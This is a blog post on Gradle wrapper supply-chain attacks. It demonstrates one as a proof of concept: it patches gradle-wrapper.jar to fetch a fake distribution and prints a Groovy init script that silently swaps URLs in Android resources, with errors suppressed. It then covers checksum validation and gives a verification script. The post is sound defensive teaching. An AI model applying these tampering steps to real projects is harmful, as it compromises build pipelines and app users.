The Importance of Validating the Gradle Wrapper

Increasing Project Safety and Preventing Tooling Attacks

Gradle is an open-source build automation tool that is used to build Android applications in modern development. Gradle is not Android-specific since it is written in a way that allows it to be flexible and build many types of software. However, since I am an Android developer myself, it's what I personally have the most experience with and I will be using Android examples in this article.

I will assume readers of this article are familiar with Gradle and the Gradle wrapper going forward. If you aren't, take a look at the Android developer documentation for build configuration to get more of an idea.

When we run an application in Android Studio, under the hood it is using Gradle to actually build the apk and then install it on a test device. However, we can also build the app or run other gradle tasks such as lint or unit testing via the command line like so:

gradle7.4.2 clean lint test assembleDebug

This will run gradle on the project currently loaded in terminal and execute the lint, test, and assembleDebug tasks. However, this assumes that the machine running the command has gradle7.4.2 installed and on the system's PATH. This can make upgrading Gradle or the Android Gradle Plugin harder as it means that all developers on a project will need to install the proper version of Gradle and set it up correctly in Android Studio. Further, build machines used for CI/CD will also need to be updated any time Gradle is updated for the project.

To alleviate this issue, we can instead use the Gradle Wrapper. If you start a new project in Android Studio, it will have the Gradle Wrapper by default. If you are updating an existing Gradle project to use the wrapper, you can run the wrapper command using the particular version of Gradle that your project is already using:

gradle7.4.2 wrapper

After the wrapper is added to the project, in order to run the same gradle command above, we would then use gradlew command from the project directory instead of the specific gradle distribution on the machine:

./gradlew clean lint test assembleDebug

Adding the gradle wrapper to your project will add four files:

The gradle wrapper files can be re-generated by re-running the wrapper command on a newer version of Gradle and do change from time to time.

The first three files mentioned above are diff-able and can be verified in code review. Although they might be different than the Android files you are generally used to reviewing, you would probably be able to tell if there was anything super suspicious if you review line-by-line.

The final file, gradle/wrapper/gradle-wrapper.jar, is not easily diff-able and would therefore generally just be immediately approved in code review at many places, assuming the rest of the checked-in code looks fine. You would be hard-pressed in your review to tell what changed in the JAR and whether it was valid or not. For example, would you be to tell using these diffs from SourceTree which file I edited maliciously if I didn't tell you explicitly?

Updating to Valid Wrapper
Image showing SourceTree difference between two JAR files in a Gradle Wrapper Upgrade
Updating to Problematic Wrapper
Image showing SourceTree difference between two JAR files in an invalid Gradle Wrapper Upgrade

Demonstrating a Gradle Wrapper Attack

Given that the gradle-wrapper.jar is hard to verify in code review, you might be wondering what kind of trouble a malicious version could give you. In the first place, since JARs are executable you always want to verify them. The Gradle documentation on the Gradle Wrapper itself specifically mentions that you should verify the trustworthiness of the wrapper before executing it. I personally didn't know what an actual exploit might look like and couldn't find any examples online in a cursory search so wanted to put a little effort into understanding what a simple one might look like.

As such I will be outlining an attack in which using an invalid Gradle Wrapper leads to the compiled APK of an app using incorrect URLs when clicking buttons. This would be a major problem at most companies and would severely hurt public perception of the company if buttons in the app were all of a sudden linking to malicious websites full of scams or viruses.

To start, I wanted to understand what the JAR file actually contained. To do this, I used jadx-gui to take a look through the JAR file. There are other tools to do this, but since JADX supports Dex decompilation I usually use it.

Once opened, I was able to see the basic structure of the JAR and peruse the decompiled code:

Image showing JADX program with decompiled gradle-wrapper.jar code

One method in the WrapperExecutor file stuck out to me:

private URI readDistroUrl() throws URISyntaxException {
    if (this.properties.getProperty(DISTRIBUTION_URL_PROPERTY) == null) {
        reportMissingProperty(DISTRIBUTION_URL_PROPERTY);
    }
    return new URI(getProperty(DISTRIBUTION_URL_PROPERTY));
}

Since this code is used to determine the URL of the gradle distribution to download, I wanted to make it basically ignore the version given in gradle-wrapper.properties and instead point to my own fake distribution of Gradle.

To do this, I copied the decompiled WrapperExecutor file from JADX and saved it as as WrapperExecutor.java in the same package structure as it existed in the JAR (org/gradle/wrapper/WrapperExecutor) with the org folder being in the same directory as the gradle-wrapper.jar that I was planning to update

Image showing file structure of WrapperExecutor file

Next, I edited the readDistroUrl function to always return my fake distribution's planned URL. This was just a random location on my own personal machine but someone with malicious intent would point this somewhere on the internet and might even pass the desired version as a query parameter so that the system-under-attack seemed to be working normally, even when they updated gradle versions.

private URI readDistroUrl() throws URISyntaxException {
    return new URI("http://127.0.0.1:4000/articles/assets/gradle-7.4.2-all.zip");
}

After editing the file, I needed to recompile it in a .class file

javac -classpath gradle-wrapper.jar org/gradle/wrapper/WrapperExecutor.java

This seemed to work right away by just adding the existing gradle-wrapper.jar to the classpath. Next, I copied the class file back into the gradle-wrapper.jar

jar uf gradle-wrapper.jar org/gradle/wrapper/WrapperExecutor.class

After re-opening the JAR in JADX, I was able to see my changes reflected, so I copied it back into my sample project.

Image showing JADX program with decompiled gradle-wrapper.jar code after updates

Next, I needed to create a custom, malicious, Gradle distribution. To do this, I just went to the actual Gradle distributions page and grabbed the target version. This is mainly because what I want to do can be achieved using a Gradle initialization script and I still need my project to actually build.

After downloading the distribution, I created an initialization script to add to the distribution's init.d directory. This directory contains scripts that are run before a gradle build starts and would generally be used by a companies to set up enterprise-wide configurations. The script I wrote targets my specific application so it isn't very flexible (and I wouldn't want it to be). The code is as follows:

Click to expand initialization script code example
import org.gradle.api.Project

gradle.projectsEvaluated {
    try {
        ext.addReplacemetnTask = {
            if (project.hasProperty("android")) {
                UrlReplacer.addReplacementTask(project)
            }
        }
        if (rootProject.subprojects.isEmpty()) {
            rootProject addReplacemetnTask
        } else {
            rootProject.subprojects addReplacemetnTask
        }
    } catch (Exception ignored) {}
}


final class UrlReplacer {
    static void addReplacementTask(final Project project) {
        project.android.applicationVariants.all { variant ->
            variant.mergeResources.doFirst {
                 variant.sourceSets.each { sourceSet ->
                    sourceSet.res.srcDirs = sourceSet.res.srcDirs.collect { dir ->
                        def relDir = project.relativePath(dir)
                        project.copy {
                            from(dir)
                            include "**/*.xml"
                            filteringCharset = "UTF-8"
                            filter {
                                line -> line
                                        .replace("https://jdvp.me", "http://10.0.2.2:4000/articles/Gradle-Wrapper-Exploit-Example")
                            }
                            into("${project.buildDir}/tmp/${variant.dirName}/${relDir}")
                        }
                        project.copy {
                            from(dir)
                            exclude "**/*.xml"
                            into("${project.buildDir}/tmp/${variant.dirName}/${relDir}")
                        }
                        return "${project.buildDir}/tmp/${variant.dirName}/${relDir}"
                    }
                }
            }
        }
    }
}

This code will be run by any project using the custom gradle distribution so it first checks to make sure that project it is editing is an Android project. In the case that the project is an Android project, it replaces that target URL in resource files (such as strings.xml) with a new URL that wouldn't generally be expected. Finally, it runs everything in a try/catch block so that the code doesn't cause any fatal errors and cause someone to start looking into the failure.

This seems pretty unrealistic to me since URLs wouldn't always be stored in resource files and so the actual app source code would need to be edited instead. I'm sure it's possible but I don't have much experience using gradle to add and augment tasks so I'm certainly not an expert on it.

As a final step, I zipped up the custom distribution, and served it on my local machine. I then built and ran the application. Upon running, the updated gradle-wrapper pulled down my custom Gradle distribution. While the APK was being built, there was no sign of anything out of the ordinary. The app ran successfully and I was able to verify that the code had been tampered with successfully.

After tapping the button that opened the target URL that the script replaced, it went to the new URL instead as shown in the videos below (videos won't play automatically so press play to view them)

Normal BehaviorBehavior after building with edited wrapper JAR

With just a few hours of research I was able to put this together, so with more will and experience, something more complex could be put together. In this case, if this sample app had a QA team, they would notice immediately and I would start looking into it. But imagine if there was some sort of timestamp check added for a month in the future. There's basically no way I would catch that before it happened since generally developers aren't looking at the actual compiled dex files at the end of a build (it's not even really a feasible thing to manually do regularly). Further I think any actual attack would be much more complex. Since I'm not a security expert I don't have any better examples but the fact that I was able to do it in a few hours was alarming enough to me personally.

Mitigation through Checksum Validation

Gradle's own documentation contains pretty useful information on how to validate the gradle-wrapper.jar file by ensuring it has a checksum verified by Gradle. I recommend reading the documentation to get familiar with the approach, but it won't work in all situations. They have 2 recommended appraoches - an automated solution that works with GitHub and a method of manual verification. If you use source code management software that is not GitHub, you would need to verify the SHA hashes of the file manually.

For reference, here is the code they suggest using for verifying the checksum of the Gradle wrapper (if you do this, don't use the code from my site, instead directly check Gradle's page):

If you use GitHub, I would highly recommend using their GitHub action for doing validation, wrapper-validation-action. Not only is it directly developed by the Gradle team, it also has support for detecting homoglyph attacks, where the wrapper file looks like it is named gradle-wrapper.jar but actually has different characters. Check the GitHub page for more details.

In general, you would use the action in your GitHub Actions CI script by adding the following to one of your job's steps after checking out the project but before running any Gradle commands.

- uses: gradle/wrapper-validation-action@v1

The action will then produce output such as the following when run

Image showing Gradle Wrapper Validation during GitHub Actions execution

If you use a different CI/CD solution you would need to validate the checksum manually using the methods mentioned above. However, this is problematic if you host this check on your build servers since you may have to accommodate multiple teams using multiple different Gradle versions and don't want to update the script every time someone updates their gradle version.

In that case, you might want to do the check on your own in a more generic way. Gradle provides a manifest that outlines all of the valid gradle versions along with checksums for the distribution as well as the wrapper generated by the distribution: https://services.gradle.org/versions/all

The response from the URL gives a JSON list with elements for each release. For example, the 7.4.2 release object is as follows

{
  "version" : "7.4.2",
  "buildTime" : "20220331152529+0000",
  "current" : true,
  "snapshot" : false,
  "nightly" : false,
  "releaseNightly" : false,
  "activeRc" : false,
  "rcFor" : "",
  "milestoneFor" : "",
  "broken" : false,
  "downloadUrl" : "https://services.gradle.org/distributions/gradle-7.4.2-bin.zip",
  "checksumUrl" : "https://services.gradle.org/distributions/gradle-7.4.2-bin.zip.sha256",
  "wrapperChecksumUrl" : "https://services.gradle.org/distributions/gradle-7.4.2-wrapper.jar.sha256"
}

As we can see, we can get the checksum URL for the wrapper in the object. If we grep each version's checksum and make curl requests to each, we can validate that the Gradle wrapper in our project matches one of the checksums provide by Gradle.

With that in mind I tried my hand at creating a script that does this. I don't recommend using it directly since if you go with a custom approach you should be sure you know what it is doing, but it might be a good starting place. I also can't call myself a bash script expert, so let me know if there are ways to simplify my script if you have any ideas!

The full code can be found here in my AndroidAspectExample project (since I didn't want to maintain an entire project for this): validate-gradle.sh

The file is generally well-commented, but I will explain each section here. The first section, shown below, makes a call to Gradle's service to get a list of valid Gradle versions. Then it parses out the specific checksum URLs. Since each URL starts with https and ends with the fileType .sha256, we are able to do this with a couple of grep calls

# Gets the list of versions from Gradle and finds the lines that mention wrapper checksums
checksumUrlLines=$(curl -s https://services.gradle.org/versions/all | grep "wrapperChecksumUrl")

# Parse out the URLs
checksumUrls=$(echo "$checksumUrlLines" | grep -o --line-buffered "https.*sha256")

Next, I've opted to disallow usage of Release Candidate versions, Milestones, and Snapshots. This means that only major release versions of Gradle would be allowed. grep -v returns only lines that do not match so it is useful for this.

# Only take major releases (ignoring RCs, Milestones, etc.)
majorReleaseUrls=$(echo "$checksumUrls" | grep -v "rc" | grep -v "milestone" | grep -v "snapshot")

Finally, I take only the lines until I find the 6.7.1 version. This allows the script to check many less versions for proper wrapper checksums so it saves time and also ensures the wrapper is newer than some arbitrary version. If you know a project was created after a certain version of Gradle, this check may help speed things up since you know you don't want to revert the wrapper to earlier versions anyway.

postVersionUrls=$(echo "$majorReleaseUrls" | sed '/6.7.1/q')

The checkShaSum function runs the proper SHA check based on the operating system that the code is running on. I personally would not do this if I know that it is always run on Linux servers but I wanted to make sure it would work on multiple operating systems.

checkShaSum() {
  case "$OSTYPE" in
    # Bash Shell included in Git for Windows should have the sha256sum function
    msys*)    echo "$1" | sha256sum --check ;;
    cygwin*)  echo "$1" | sha256sum --check ;;
    # Linux and Mac should have the shasum function
    *)        echo "$1" | shasum -a 256 --check ;;
  esac
}

The last section iterates over the URLs we parsed and then runs the proper SHA check function based on operating system. If a valid checksum provided by Gradle matches the local Gradle wrapper's checksum, the script exits with a success, otherwise if after checking all of the Gradle checksums no match is found, the script exits with a failure and the overall job would fail.

As an example here are the results when run on GitHub Actions (but again, I would just use the Gradle action if using GitHub):

Image showing custom Gradle Wrapper Validation during GitHub Actions execution

You can see more example results here.

Conclusion

Although attacks via the Gradle Wrapper are possible, mitigation is straight-forward as we can automate checking of the wrapper's checksum. Although this type of exploit may be more common or easier for open source projects where there are many contributors coming or going, they are theoretically possible for closed-source projects as well.

If you are using GitHub Actions, you should definitely consider using Gradle's first-party wrapper-validation-action in order to validate that your project is not vulnerable to such an exploit. If you are using some other build tooling, you should at least consider whether the vector is worth mitigating.

While I doubt this is a common thing that is exploited, and for corporate code it would require having code access in the first place, it could be a way of quietly sneaking in vulnerabilities over time rather than committing obviously malicious code from the outset.

What do you think? Is this possible exploit worth mitigating? Or is it overkill and just another thing that you would have to maintain in your build pipeline? I'm super interested in hearing other thoughts about this so please let me know in the comment section below!

Filed under:

Comments

There are currently no comments on this article, be the first to add one below

Add a Comment

Note that I may remove comments for any reason, so try to be civil. If you are looking for a response to your comment, either leave your email address or check back on this page periodically.

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.